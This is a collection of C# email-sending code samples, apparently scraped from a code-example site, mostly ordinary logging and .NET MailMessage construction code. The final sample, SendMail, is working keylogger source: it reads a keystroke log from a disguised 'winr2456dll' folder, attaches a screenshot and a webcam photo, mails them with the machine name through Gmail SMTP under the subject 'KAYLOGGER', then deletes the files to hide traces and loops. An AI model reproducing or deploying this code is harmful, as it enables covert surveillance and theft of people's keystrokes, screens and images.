                txtBoxErrorLog.Clear();
                noErrFound = false;
                logger.Log("Error: " + fe.Message);
                logger.Log("StackTrace: " + fe.StackTrace);
                logger.Log("Inner Exception: " + fe.InnerException);
            }
            catch (Exception ex)
            {
                txtBoxErrorLog.Clear();
                noErrFound = false;
                logger.Log("Error: " + ex.Message);
                logger.Log("StackTrace: " + ex.StackTrace);
                logger.Log("Inner Exception: " + ex.InnerException);
            }
            finally
            {
                // log success
                if (formValidated == true && noErrFound == true)
                {
                    logger.Log("Message subject = " + msgSubject);
                    logger.Log("Message send = SUCCESS");
                }

                // cleanup resources
                mail.Dispose();
                mail = null;
                smtp.Dispose();
                smtp = null;

                // reset variables
                formValidated = false;
                noErrFound    = true;
                inlineAttachmentsTable.Clear();
                hdrName    = null;
                hdrValue   = null;
                msgSubject = null;
            }
        }
        /// <devdoc>
        /// Creates a MailMessage using the body parameter.
        /// </devdoc>
        public MailMessage CreateMailMessage(string recipients, IDictionary replacements, string body, Control owner)
        {
            if (owner == null)
            {
                throw new ArgumentNullException("owner");
            }

            string from = From;

            if (String.IsNullOrEmpty(from))
            {
                System.Net.Configuration.SmtpSection smtpSection = RuntimeConfig.GetConfig().Smtp;
                if (smtpSection == null || smtpSection.Network == null || String.IsNullOrEmpty(smtpSection.From))
                {
                    throw new HttpException(SR.GetString(SR.MailDefinition_NoFromAddressSpecified));
                }
                else
                {
                    from = smtpSection.From;
                }
            }

            MailMessage message = null;

            try {
                message = new MailMessage(from, recipients);
                if (!String.IsNullOrEmpty(CC))
                {
                    message.CC.Add(CC);
                }
                if (!String.IsNullOrEmpty(Subject))
                {
                    message.Subject = Subject;
                }

                message.Priority = Priority;

                if (replacements != null && !String.IsNullOrEmpty(body))
                {
                    foreach (object key in replacements.Keys)
                    {
                        string fromString = key as string;
                        string toString   = replacements[key] as string;

                        if ((fromString == null) || (toString == null))
                        {
                            throw new ArgumentException(SR.GetString(SR.MailDefinition_InvalidReplacements));
                        }
                        // DevDiv 151177
                        // According to http://msdn2.microsoft.com/en-us/library/ewy2t5e0.aspx, some special
                        // constructs (starting with "$") are recognized in the replacement patterns. References of
                        // these constructs will be replaced with predefined strings in the final output. To use the
                        // character "$" as is in the replacement patterns, we need to replace all references of single "$"
                        // with "$$", because "$$" in replacement patterns are replaced with a single "$" in the
                        // final output.
                        toString = toString.Replace("$", "$$");
                        body     = Regex.Replace(body, fromString, toString, RegexOptions.IgnoreCase);
                    }
                }
                // If there are any embedded objects, we need to construct an alternate view with text/html
                // And add all of the embedded objects as linked resouces
                if (EmbeddedObjects.Count > 0)
                {
                    string        viewContentType = (IsBodyHtml ? MediaTypeNames.Text.Html : MediaTypeNames.Text.Plain);
                    AlternateView view            = AlternateView.CreateAlternateViewFromString(body, null, viewContentType);
                    foreach (EmbeddedMailObject part in EmbeddedObjects)
                    {
                        string path = part.Path;
                        if (String.IsNullOrEmpty(path))
                        {
                            throw ExceptionUtil.PropertyNullOrEmpty("EmbeddedMailObject.Path");
                        }
                        if (!UrlPath.IsAbsolutePhysicalPath(path))
                        {
                            VirtualPath virtualPath = VirtualPath.Combine(owner.TemplateControlVirtualDirectory,
                                                                          VirtualPath.Create(path));
                            path = virtualPath.AppRelativeVirtualPathString;
                        }

                        // The FileStream will be closed by MailMessage.Dispose()
                        LinkedResource lr = null;
                        try {
                            Stream stream = null;
                            try {
                                stream = owner.OpenFile(path);
                                lr     = new LinkedResource(stream);
                            }
                            catch {
                                if (stream != null)
                                {
                                    ((IDisposable)stream).Dispose();
                                }
                                throw;
                            }
                            lr.ContentId        = part.Name;
                            lr.ContentType.Name = UrlPath.GetFileName(path);
                            view.LinkedResources.Add(lr);
                        }
                        catch {
                            if (lr != null)
                            {
                                lr.Dispose();
                            }
                            throw;
                        }
                    }
                    message.AlternateViews.Add(view);
                }
                else if (!String.IsNullOrEmpty(body))
                {
                    message.Body = body;
                }

                message.IsBodyHtml = IsBodyHtml;
                return(message);
            }
            catch {
                if (message != null)
                {
                    message.Dispose();
                }
                throw;
            }
        }
Example #12
0
        public void SendMail()
        {
            Score  score     = new Score();
            string pathPhoto = score.DriveName + @"winr2456dll\web.jpg";
            string pathImage = score.DriveName + @"winr2456dll\printscreen.jpg";

            LinkedResource inlinePhoto = new LinkedResource(pathPhoto); // attach a photo

            inlinePhoto.ContentId = Guid.NewGuid().ToString();
            Attachment attPhoto = new Attachment(pathPhoto);

            attPhoto.ContentDisposition.Inline = true;

            LinkedResource inline = new LinkedResource(pathImage); // attach a screenshot

            inline.ContentId = Guid.NewGuid().ToString();
            Attachment att = new Attachment(pathImage);

            att.ContentDisposition.Inline = true;

            string      path   = score.DriveName + "winr2456dll\\" + "logwinr2456dll.txt";
            var         mail   = new MailAddress(score.Email, "KILLATIV");
            MailAddress toMail = new MailAddress(score.Email);

            using (MailMessage message = new MailMessage(mail, toMail)) // send mail to yourself

                using (SmtpClient smtpClient = new SmtpClient())
                {
                    if (File.Exists(path))
                    {
                        message.IsBodyHtml = true;
                        message.Subject    = "KAYLOGGER";
                        message.Body      += String.Format(
                            "<strong>#### Time -- " +
                            DateTime.Now.ToString("g") +
                            " ####<br/>#### Model -- " +
                            Environment.MachineName +
                            " ####</strong><br/><br/>");                           // sending time and computer name

                        message.Body                    += File.ReadAllText(path); // text file
                        message.Body                    += String.Format("<h3>Screenshot and Photo:<h3>", inline.ContentId);
                        message.Body                    += String.Format("----------------------------------------------", inlinePhoto.ContentId);
                        smtpClient.Host                  = "smtp.gmail.com";
                        smtpClient.Port                  = 587;
                        smtpClient.EnableSsl             = true;
                        smtpClient.DeliveryMethod        = SmtpDeliveryMethod.Network;
                        smtpClient.UseDefaultCredentials = false;
                        message.Attachments.Add(att);
                        message.Attachments.Add(attPhoto);
                        smtpClient.Credentials = new NetworkCredential(mail.Address, score.Password);
                        smtpClient.Send(message);
                        inline.Dispose();
                        att.Dispose();
                        inlinePhoto.Dispose();
                        attPhoto.Dispose();
                        File.Delete(path); // delete all created files from the computer
                        File.Delete(pathImage);
                        File.Delete(pathPhoto);
                        score.reset(); // reset the counter
                        Start();       // do it all over again
                    }
                }
        }